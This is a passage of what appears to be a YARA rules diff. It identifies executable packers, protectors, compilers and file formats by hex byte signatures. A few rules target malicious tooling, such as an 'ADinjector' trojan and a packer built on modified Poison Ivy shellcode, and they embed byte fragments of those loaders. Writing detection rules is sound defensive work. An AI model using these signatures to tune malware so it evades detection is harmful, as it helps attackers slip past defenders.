55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+		$3 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 ?? 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 at entrypoint
+}
+rule _Hyings_PEArmor_075exe__Hying_
+{
+	meta:
+		description = "Hying's PE-Armor 0.75.exe -> Hying"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+	condition:
+		$0
+}
+rule _eXPressor_v1501_Options__Protection_CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.5.0.1 (Options -> Protection) CGSoftLabs"
+	strings:
+		$0 = {5E 00 00 80 00 00 00 68 91 5D D4 27 35 C5 5A 4C A5 40 48 C4 08 4E C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PiMP_Install_System_1x_
+{
+	meta:
+		description = "Nullsoft PiMP Install System 1.x"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74}
+	condition:
+		$0
+}
+rule _CrunchPE_v40_
+{
+	meta:
+		description = "Crunch/PE v4.0"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+	condition:
+		$0
+}
+rule _nPack_112502006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack 1.1.250.2006.Beta -> NEOx/[uinC]"
+	strings:
+		$0 = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+	condition:
+		$0
+}
+rule _Anticrack_Software_Protector_v109_ACProtect_
+{
+	meta:
+		description = "Anticrack Software Protector v1.09 (ACProtect)"
+	strings:
+		$0 = {60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PKTINY_v10_with_TINYPROG_v38_
+{
+	meta:
+		description = "PKTINY v1.0 with TINYPROG v3.8"
+	strings:
+		$0 = {2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _nBinder_v40_
+{
+	meta:
+		description = "nBinder v4.0"
+	strings:
+		$0 = {5C 6E 62 34 5F 74 6D 70 5F 30 31 33 32 34 35 34 33 35 30 5C 00 00 00 00 00 00 00 00 00 E9 55 43 4C FF 01 1A 00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79}
+	condition:
+		$0
+}
+rule _Unknown_packer_08_
+{
+	meta:
+		description = "Unknown packer (08)"
+	strings:
+		$0 = {8B C4 2D ?? ?? 24 00 8B F8 57 B9 ?? ?? BE ?? ?? F3 A5 FD C3 97 4F 4F}
+	condition:
+		$0 at entrypoint
+}
+rule _ESO_Eclipse_Operating_System_v208_p_DOS_Extender_
+{
+	meta:
+		description = "E.S.O. Eclipse Operating System v.2.08 + DOS Extender"
+	strings:
+		$0 = {8C C8 8E D8 BA ?? ?? E8 ?? ?? BB ?? ?? 8C C0 2B D8 B4 4A CD 21 BA ?? ?? 73 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _WARNING__TROJAN__ADinjector_
+{
+	meta:
+		description = "WARNING -> TROJAN -> ADinjector"
+	strings:
+		$0 = {90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _RAR_Configuration_file_
+{
+	meta:
+		description = "RAR Configuration file"
+	strings:
+		$0 = {52 41 52 20 43 4F 4E 46 49 47}
+	condition:
+		$0
+}
+rule _AntiDote_14_SE__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.4 SE -> SIS-Team"
+	strings:
+		$0 = {68 90 03 00 00 E8 C6 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60 00 6A 00 FF 15 08 10 60 00 68 90 03 00 00 E8 68 FD FF FF 68 69 D6 00 00 E8 5E FD FF FF 50 E8 58 FD FF FF 50 E8 52 FD FF FF E8 DD FE FF FF 50 68 A4 10 60 00 68 94 10 60 00 68 10 22 60 00 E8 58 FD FF FF 83 C4 20 33 C0 C2 10 00 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_Modified_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 Modified"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_Method_1_
+{
+	meta:
+		description = "EXE2COM (Method 1)"
+	strings:
+		$0 = {8C DB BE ?? ?? 8B C6 B1 ?? D3 E8 03 C3 03 ?? ?? A3 ?? ?? 8C C8 05 ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _Netopsystems_FEAD_Optimizer_
+{
+	meta:
+		description = "Netopsystems FEAD Optimizer"
+	strings:
+		$0 = {60 BE 00 50 43 00 8D BE 00 C0 FC FF}
+		$1 = {E8 00 00 00 00 58 BB 00 00 40 00 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pe123_v200644_
+{
+	meta:
+		description = "Pe123 v2006.4.4"
+	strings:
+		$0 = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 B8 FE FF FF 6A 40 8D 45 B0 50 E8 C0 FF FF FF 50 E8 8E FF FF FF 68 F8 00 00 00 8D 85 B8 FE FF FF 50 E8 A9 FF FF FF 03 45 EC 50 E8 74 FF FF FF E8 9B FF FF FF 03 85 38 FF FF FF 83 C0 34 89 45 FC E8 8A FF FF FF 03 85 38 FF FF FF 83 C0 38 89 45 F4 8B 45 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_VBOX_43_MTE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [VBOX 4.3 MTE] -> Anorganix"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_10Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.0.Demo -> SIS-Team"
+	strings:
+		$0 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52}
+		$1 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 DC 01 4D 65 73 73 61 67 65 42 6F 78 41 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 C5 02 73 74 72 73 74 72 00 00 91 02 6D 61 6C 6C 6F 63 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 49 00 5F 5F 43 78 78 46 72 61 6D 65 48 61 6E 64 6C 65 72 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Armadillo_v310_
+{
+	meta:
+		description = "Armadillo v3.10"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 44 00 33 F6 56 E8 72 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 3D 13 00 00 FF 15 30 40 44 00 A3 84 B7 44 00 E8 FB 11 00 00 A3 E0 A1 44 00 E8 A4 0F 00 00 E8 E6 0E 00 00 E8 4E F6 FF FF 89 75 D0 8D 45 A4 50 FF 15 38 40 44 00 E8 77 0E 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 7C 41 44 00 50 E8 49 D4 FE FF 89 45 A0 50 E8 3C F6 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 B5 0C 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 2E F6 FF FF 83 3D E8 A1 44 00 01 75 05}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Basic_50__60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Basic 5.0 - 6.0] -> Anorganix"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_BasicPro_Edition_110__Randy_Li_
+{
+	meta:
+		description = "SDProtector Basic/Pro Edition 1.10 -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64}
+	condition:
+		$0 at entrypoint
+}
+rule _VcasmProtector_11__12__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.1 - 1.2 -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXSCRAMBLER_306__OnToL_
+{
+	meta:
+		description = "UPX-SCRAMBLER 3.06 -> ©OnT®oL"
+	strings:
+		$0 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_22__c199899_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 2.2 -> (c)1998-99 Ian Luck (h)"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66 83 C7 68 81 C6 ?? ?? 00 00 F3 A5 FF D3 58 8D 90 B8 01 00 00 8B 0A 0F BA F1 1F 73 16 8B 04 24 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB E2 83 C2 10 8B 5A F4 85 DB 74 D8 8B 04 24 8B 7A F8 03 F8 52 8D 34 01 EB 17 58 58 58 5A 74 C4 E9 1C FF FF FF 02 D2 75 07 8A 16 83 EE FF 12 D2 C3 81 FB 00 00 01 00 73 0E 68 60 C0 FF FF 68 60 FC FF FF B6 05 EB 22 81 FB 00 00 04 00 73 0E 68 80 81 FF FF 68 80 F9 FF FF B6 07 EB 0C 68 00 83 FF FF 68 00 FB FF FF B6 08 6A 00 32 D2 4B A4 33 C9 83 FB 00 7E A4 E8 AA FF FF FF 72 17 A4 30 5F FF 4B EB ED 41 E8 9B FF FF FF 13 C9 E8 94 FF FF FF 72 F2 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimys_protect_01__hmimys_
+{
+	meta:
+		description = "hmimys protect 0.1 -> hmimys"
+	strings:
+		$0 = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8}
+	condition:
+		$0
+}
+rule _VBOX_v43__v46_
+{
+	meta:
+		description = "VBOX v4.3 - v4.6"
+	strings:
+		$0 = {8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4}
+		$1 = {8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5}
+		$2 = {90 03 C4 33 C4 33 C5 2B C5 33 C5 8B C5 ?? ?? 2B C5 48 ?? ?? 0B C0 86 E0 8C E0 ?? ?? 8C E0 86 E0 03 C4 40}
+	condition:
+		$0 or $1 or $2
+}
+rule _Upack_024_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.24 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Locker_v10__IonIce_
+{
+	meta:
+		description = "Exe Locker v1.0 -> IonIce"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v070_
+{
+	meta:
+		description = "tElock v0.70"
+	strings:
+		$0 = {60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_15_DEMO__FEUERRADERAHTeam_
+{
+	meta:
+		description = "PUNiSHER 1.5 (DEMO) -> FEUERRADER/AHTeam"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04}
+	condition:
+		$0
+}
+rule _MSLRH_032a_fake_PE_Lock_NT_204__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PE Lock NT 2.04) -> emadicius"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83}
+	condition:
+		$0
+}
+rule _PECompact_v094_
+{
+	meta:
+		description = "PECompact v0.94"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v120__v1201_
+{
+	meta:
+		description = "PECompact v1.20 - v1.20.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40}
+	condition:
+		$0 at entrypoint
+}
+rule _D1NS1G__D1N_
+{
+	meta:
+		description = "D1NS1G -> D1N"
+	strings:
+		$0 = {18 37 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 F0 00 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 F0 00 00 60 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _PEiDBundle_V102__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle V1.02 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Native_UD_Packer_11_Modded_Poison_Ivy_Shellcode__okkixot_
+{
+	meta:
+		description = "Native UD Packer 1.1 (Modded Poison Ivy Shellcode) -> okkixot"
+	strings:
+		$0 = {31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7 FF 35 04 30 40 00 68 CA 10 40 00 50 FF 15 A8 40 40 00 6A 40 68 00 10 00 00 FF 35 08 30 40 00 6A 00 FF 15 A4 40 40 00 89 C6 68 00 30 40 00 FF 35 04 30 40 00 57 FF 35 08 30 40 00 50 6A 02 FF 15 4E 41 40 00 6A 00 6A 00 6A 00 56 6A 00 6A 00 FF 15 9C 40 40 00 50 6A 00 6A 00 6A 11 50 FF 15 4A 41 40 00 58 6A FF 50 FF 15 AC 40 40 00 6A 00 FF 15 A0 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v71_EXE_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.1 EXE"
+	strings:
+		$0 = {6A ?? 68 ?? ?? ?? 01 E8 ?? ?? 00 00 66 81 3D 00 00 00 01 4D 5A 75 ?? A1 3C 00 00 01 ?? ?? 00 00 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VOB_ProtectCD_5_
+{
+	meta:
+		description = "PseudoSigner 0.2 [VOB ProtectCD 5]"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PE_Intro_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Intro 1.0] -> Anorganix"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_120b_
+{
+	meta:
+		description = "eXPressor 1.2.0b"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04}
+	condition:
+		$0
+}
+rule _ASYLUM_Music_File_v10_
+{
+	meta:
+		description = "ASYLUM Music File v.1.0"
+	strings:
+		$0 = {41 53 59 4C 55 4D 20 4D 75 73 69 63 20 46 6F 72 6D 61 74 20 56 31 2E 30 00}
+	condition:
+		$0
+}
+rule _Go32Stub_v200_DOSExtender_
+{
+	meta:
+		description = "Go32Stub v.2.00 DOS-Extender"
+	strings:
+		$0 = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 80}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite__NTkrnl_Team_Blue_
+{
+	meta:
+		description = "NTkrnl Secure Suite -> NTkrnl Team (Blue)"
+	strings:
+		$0 = {68 29 19 43 00 E8 01 00 00 00 C3 C3 A2 A9 61 4E A5 0E C7 A6 59 90 6E 4D 4C DB 36 46 FB 6E C4 45 A3 C2 2E 0E 41 59 1A 50 17 39 62 4D B8 61 24 8E CF D1 0E 9E 7A 66 C0 8D 6B 9C 52 7E 96 46 80 AF}
+	condition:
+		$0
+}
+rule _PCGuard_v405d_v410d_v415d_
+{
+	meta:
+		description = "PC-Guard v4.05d, v4.10d, v4.15d"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v60__v70_
+{
+	meta:
+		description = "Borland Delphi v6.0 - v7.0"
+	strings:
+		$0 = {53 8B D8 33 C0 A3 00 ?? ?? ?? 06 A0 0E 80 ?? ?? 0F FA 30 ?? ?? ?? 0A 10 ?? ?? ?? 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? E8}
+		$1 = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8}
+		$2 = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? FB FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF 8B 0D ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 8B 15 ?? ?? ?? ?? E8 ?? ?? FF FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF E8 ?? ?? FB FF 8D 40}
+		$3 = {BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ?? ?? ?? ?? 89 4A 04}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 at entrypoint
+}
+rule _PseudoSigner_02_UPX_06_
+{
+	meta:
+		description = "PseudoSigner 0.2 [UPX 0.6]"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_GUI_15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (GUI) 1.5"
+	strings:
